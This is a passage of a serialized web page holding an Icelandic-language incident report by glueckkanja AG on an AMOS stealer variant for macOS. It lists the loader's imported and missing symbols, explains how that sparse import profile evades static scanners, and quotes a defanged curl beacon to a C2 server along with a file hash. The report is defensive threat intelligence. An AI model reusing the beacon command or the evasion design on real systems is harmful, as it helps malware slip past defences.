binary-s:",[853,14966,14967],{"style":13128},[615,14968,14971],{"className":14969,"code":14970,"language":620},[618],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[578,14972,14970],{"__ignoreMap":529},[525,14974,14975],{},"Samtals 27 symbol. Það sem vantar er að minnsta kosti jafn upplýsandi og það sem er til staðar.",[888,14977,14979],{"id":14978},"fjarverandi-net","Fjarverandi: net",[525,14981,894],{},[853,14983,14984],{"style":13128},[615,14985,14988],{"className":14986,"code":14987,"language":620},[618],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[578,14989,14987],{"__ignoreMap":529},[888,14991,14993],{"id":14992},"fjarverandi-skráakerfi","Fjarverandi: skráakerfi",[525,14995,894],{},[853,14997,14998],{"style":13128},[615,14999,15002],{"className":15000,"code":15001,"language":620},[618],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[578,15003,15001],{"__ignoreMap":529},[888,15005,15007],{"id":15006},"fjarverandi-process-introspection","Fjarverandi: process introspection",[525,15009,894],{},[853,15011,15012],{"style":13128},[615,15013,15016],{"className":15014,"code":15015,"language":620},[618],"getpid      getuid      getenv      sysctl\n",[578,15017,15015],{"__ignoreMap":529},[888,15019,15021],{"id":15020},"fjarverandi-cryptography","Fjarverandi: cryptography",[525,15023,746],{},[853,15025,15026],{"style":13128},[615,15027,15030],{"className":15028,"code":15029,"language":620},[618],"CCCrypt     SecItemAdd  SecKeychainFind\n",[578,15031,15029],{"__ignoreMap":529},[525,15033,15034,15035,646,15038,15041,15042,646,15045,15048],{},"Í hefðbundnu malware-sample býst maður við network-imports (",[578,15036,15037],{},"socket",[578,15039,15040],{},"connect",") eða skráar-imports (",[578,15043,15044],{},"fopen",[578,15046,15047],{},"write","). Þetta binary hefur ekki eitt einasta. Fyrir staðlaðan scanner lítur það út eins og saklaus process-launcher, og það er þannig ætlað: meðvituð arkitektúrákvörðun sem lætur statísk greiningartól hlaupa út í tómið.",[525,15050,15051,15053],{},[578,15052,13457],{}," binary-ið framkvæmir ekki þjófnaðinn sjálft. Eini tilgangur þess er að planta og keyra hinn eiginlega illgjarna payload, sterkt obfuskerað AppleScript. EDR eða AV sem leitar að illgjörnum binaries sér hér loader án network- eða skráar-I/O og gæti flokkað hann sem hreinan, án þess að átta sig á að binary-ið er sérhæft delivery-kerfi fyrir high-level script payload.",[13091,15055],{},[556,15057,15059],{"id":15058},"backdoorinn","Backdoorinn",[525,15061,15062],{},"{: #backdoorinn}",[525,15064,562],{},[525,15066,15067,15068,15071],{},"Atvikinu lauk ekki eftir upphaflegu kompromíseringuna. Microsoft Defender-telemetry sýndi ferli sem keyrði frá ",[578,15069,15070],{},"/Users/\u003Credacted>/.mainhelper"," og spurði út í ytri server:",[853,15073,15074],{"style":13128},[615,15075,15077],{"className":2788,"code":15076,"language":2790,"meta":529,"style":529},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[578,15078,15079],{"__ignoreMap":529},[1712,15080,15081,15084,15086],{"class":1714,"line":1715},[1712,15082,15083],{"class":2797},"sh",[1712,15085,13334],{"class":2805},[1712,15087,15088],{"class":2801}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[525,15090,15091],{},"Base64-strengurinn afkóðaðist í 16-byte tækis-UUID, einkvæmt auðkenni sem C2-innviðir árásaraðilans höfðu úthlutað þessu tæki á degi upphaflegu sýkingarinnar.",[525,15093,15094,15097,15098,15101,15102,613],{},[578,15095,15096],{},".mainhelper","-binary-ið (SHA-256: ",[578,15099,15100],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") hafði verið sett upp á degi atviksins af osascript-dropper-num gegnum ",[578,15103,13331],{},[13091,15105],{},[556,15107,15109],{"id":15108},"styrkur-kollektíva-skjaldarins-shared-threat-intelligence-platform-okkar","Styrkur kollektíva skjaldarins: Shared Threat Intelligence Platform okkar",[525,15111,15112],{},"{: #shared-threat-intelligence}",[525,15114,562],{},[525,15116,15117],{},"Þegar alert kviknar í SOC-inu okkar byrjar klukkan ekki bara að tifa fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir glueckkanja-skildinum. Þessi rannsókn á óskráðu AMOS-afbrigði gerir ljóst hvað intelligence gap-ið þýðir í raun: hættulegur tímagluggi þar sem hefðbundnir vendors eru blindir vegna þess að þeir hafa ekki enn séð ógnina.",[525,15119,15120],{},"Hér sýnir okkar séreignar Shared Threat Intelligence Platform gildi sitt, þróuð eingöngu fyrir glueckkanja-CSOC-viðskiptavini. Við bíðum ekki eftir uppfærslum frá iðnaðinum, við búum þær til. Á meðan greinendur okkar voru enn að taka í sundur síðustu lögin af ARM64-assembly dreifði Automated Orchestration Engine okkar þegar útdregnu indikatorana yfir allt vistkerfið. Það skapar hjörðar-ónæmi: það sem finnst á einum endpoint er innan mínútna orðið að blokkaðri ógn fyrir öll fyrirtæki undir vernd okkar.",[525,15122,15123],{},"Reaktíft öryggi virkar ekki gegn ógnum sem laumast markvisst gegnum eyður hefðbundinna varna. Svarið liggur í tengingu mannlegrar sérþekkingar við arkitektúr sem beitir þeirri þekkingu strax og í skala. Í gegnum shared intelligence módelið okkar snýst tímakostur árásaraðilans við: viðskiptavinir okkar eru varðir áður en iðnaðurinn viðurkennir ógnina yfirhöfuð.",[847,15125,15126,15131,15134,15137],{},[525,15127,15128],{},[567,15129,15130],{},"Athugasemd um persónuvernd",[525,15132,15133],{},"Auðkennanlegar upplýsingar hafa verið nafnleyndar í þessari birtingu. Tilteknum tæknilegum smáatriðum, indikatorum og tímastimplum kann að hafa verið breytt lítillega til að tryggja áframhaldandi vernd viðkomandi umhverfis, án þess að skerða tæknilega heilleika greiningarinnar.",[525,15135,15136],{},"Tæknilegu greiningarnar og Indicators of Compromise (IOCs) í þessari skýrslu eru eingöngu í upplýsinga- og fræðsluskyni. Þau eru látin í té eftir bestu vitund. glueckkanja AG veitir engar berum orðum eða óbeinar ábyrgðir varðandi heilleika eða nákvæmni og ber ekki ábyrgð á skaða, tapi eða öryggisatvikum sem hljótast af notkun þeirra upplýsinga, reglna eða signature sem hér eru deilt. Við mælum með að staðfesta öll indikatora og reglur í stýrðu umhverfi áður en þau eru tekin í notkun.",[525,15138,15139],{},"Lýstir indikatorar og tækni geta skarast við þekktar malware-fjölskyldur og eru ekki eingöngu bundnar við eina herferð.",[12801,15141,15142],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":529,"searchDepth":530,"depth":530,"links":15144},[15145,15146,15147,15148,15155,15156,15157,15158,15166,15173],{"id":13116,"depth":530,"text":13117},{"id":13154,"depth":530,"text":13155},{"id":13211,"depth":530,"text":13212},{"id":13243,"depth":530,"text":13244,"children":15149},[15150,15151,15152,15153,15154],{"id":13252,"depth":2096,"text":13253},{"id":13266,"depth":2096,"text":13267},{"id":13280,"depth":2096,"text":13281},{"id":13289,"depth":2096,"text":13290},{"id":13306,"depth":2096,"text":13307},{"id":13464,"depth":530,"text":13465},{"id":13543,"depth":530,"text":13544},{"id":13656,"depth":530,"text":13657},{"id":13721,"depth":530,"text":13722,"children":15159},[15160,15161,15162,15163,15164,15165],{"id":13736,"depth":2096,"text":13737},{"id":14022,"depth":2096,"text":14023},{"id":14275,"depth":2096,"text":14276},{"id":14460,"depth":2096,"text":14461},{"id":14547,"depth":2096,"text":14548},{"id":14698,"depth":2096,"text":14699},{"id":14752,"depth":530,"text":14753,"children":15167},[15168,15169,15170,15171,15172],{"id":14768,"depth":2096,"text":14769},{"id":14834,"depth":2096,"text":14835},{"id":14876,"depth":2096,"text":14877},{"id":14917,"depth":2096,"text":14918},{"id":14944,"depth":2096,"text":14945},{"id":14958,"depth":530,"text":14959,"children":15174},[15175,15176,15177,15178],{"id":14978,"depth":2096,"text":14979},{"id":14992,"depth":2096,"text":14993},{"id":15006,"depth":2096,"text":15007},{"id":15020,"depth":2096,"text":15021},{"lang":12951,"seoTitle":15180,"titleClass":12953,"date":15181,"categories":15182,"blogtitlepic":15183,"socialimg":15184,"customExcerpt":15185,"keywords":15186,"maxContent":325,"asideNav":15187,"footer":15202,"contactInContent":15203,"published":325},"AMOS Stealer afbrigði: Reverse engineering á óþekktri macOS-malware","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Áður óskráð afbrigði af AMOS stealer komst inn á macOS-endpoint. Engir þekktir hash-ar, engin C2-gögn í opnum gagnagrunnum. SOC-teymið okkar tók í sundur sex lög af obfuskun, dró út alla indicators og dreifði vörn til allra SOC-viðskiptavina á fáum klukkustundum, áður en iðnaðurinn hafði yfirhöfuð séð sample-ið.","AMOS Stealer, macOS malware, reverse engineering, malware-greining, Ghidra, ARM64, incident response, threat intelligence, CSOC, macOS öryggi, stealer malware, shared threat intelligence, Atomic macOS Stealer",{"menuItems":15188},[15189,15192,15194,15197,15199],{"href":15190,"text":15191},"#atvikid","Atvikið",{"href":15193,"text":13117},"#stage-1-sandbox-athuganir",{"href":15195,"text":15196},"#stage-2-binary-greining","Stage 2: Binary-greining",{"href":15198,"text":15059},"#backdoorinn",{"href":15200,"text":15201},"#shared-threat-intelligence","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":15204},{"bgColor":15205,"headline":15206,"subline":15207,"level":740,"textStyling":13018,"flush":13019,"person":15208,"form":15214},"var(--color-gk-dark-blue)","Hafðu samband","Viltu vita hvernig Shared Threat Intelligence Platform okkar ver þig fyrir óþekktum malware-afbrigðum, áður en iðnaðurinn heyrir af þeim. Talaðu við okkur.",{"image":15209,"cloudinary":325,"alt":15210,"name":15211,"quotee":15211,"quoteeTitle":15212,"quote":15213},"/people/people-jan-geisbauer-csoc.jpg","Andlitsmynd af Jan Geisbauer, Head of Security hjá glueckkanja","Jan Geisbauer","Head of Security","Það hættulega við þetta afbrigði var ekki tæknilegi flækjustigið, þótt það sé áhrifamikið. Það hættulega var tímaglugginn. Án Shared Threat Intelligence hefðu aðrir viðskiptavinir okkar staðið óvarðir klukkustundum saman á meðan við vorum enn að greina.",{"ctaText":13033,"cta":15215,"method":12949,"action":13036,"fields":15216},{"skin":13035},[15217,15218,15220,15222,15224,15228,15229,15231,15234,15236,15237,15238],{"type":13039,"id":13040,"value":13041},{"label":15219,"type":620,"id":13044,"required":325,"requiredMsg":13045},"„Nafn*\"",{"label":15221,"type":620,"id":403,"required":325,"requiredMsg":13048},"„Fyrirtæki*\"",{"label":15223,"type":13051,"id":13051,"required":325,"requiredMsg":13052},"„Netfang*\"",{"label":15225,"type":15226,"id":10686,"required":484,"requiredMsg":15227},"„Skilaboð þín til okkar\"","textarea","Vinsamlegast sláðu inn skilaboð.",{"label":13054,"type":13055,"id":13056,"required":325,"requiredMsg":13057},{"type":13039,"id":15230,"value":235},"_topic",{"type":13039,"id":15232,"value":15233},"_location","World",{"type":13039,"id":13059,"value":15235},"Form: Blog AMOS Stealer CSOC | IS",{"type":13039,"id":13062,"value":13063},{"type":13039,"id":13065},{"type":13039,"id":15239},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":13077,"description":13083},"posts/2026-04-10-incident-to-intelligence",[13071,15244,15245,15246,13072],"Incident Response","macOS Security","Malware Analysis","-ny1jdq82OPjBV06eVNDTLDRtfeQUqKNMDG2oc7s_1c",[],{"id":15250,"extension":15251,"meta":15252,"stem":8,"__hash__":15257},"authors_data/authors.json","json",{"Pascal Asch":15253},{"display_name":520,"avatar":15254,"permalink":15255,"linkedin":546,"imageOffsetTop":15256},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","66%","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",1791383986981]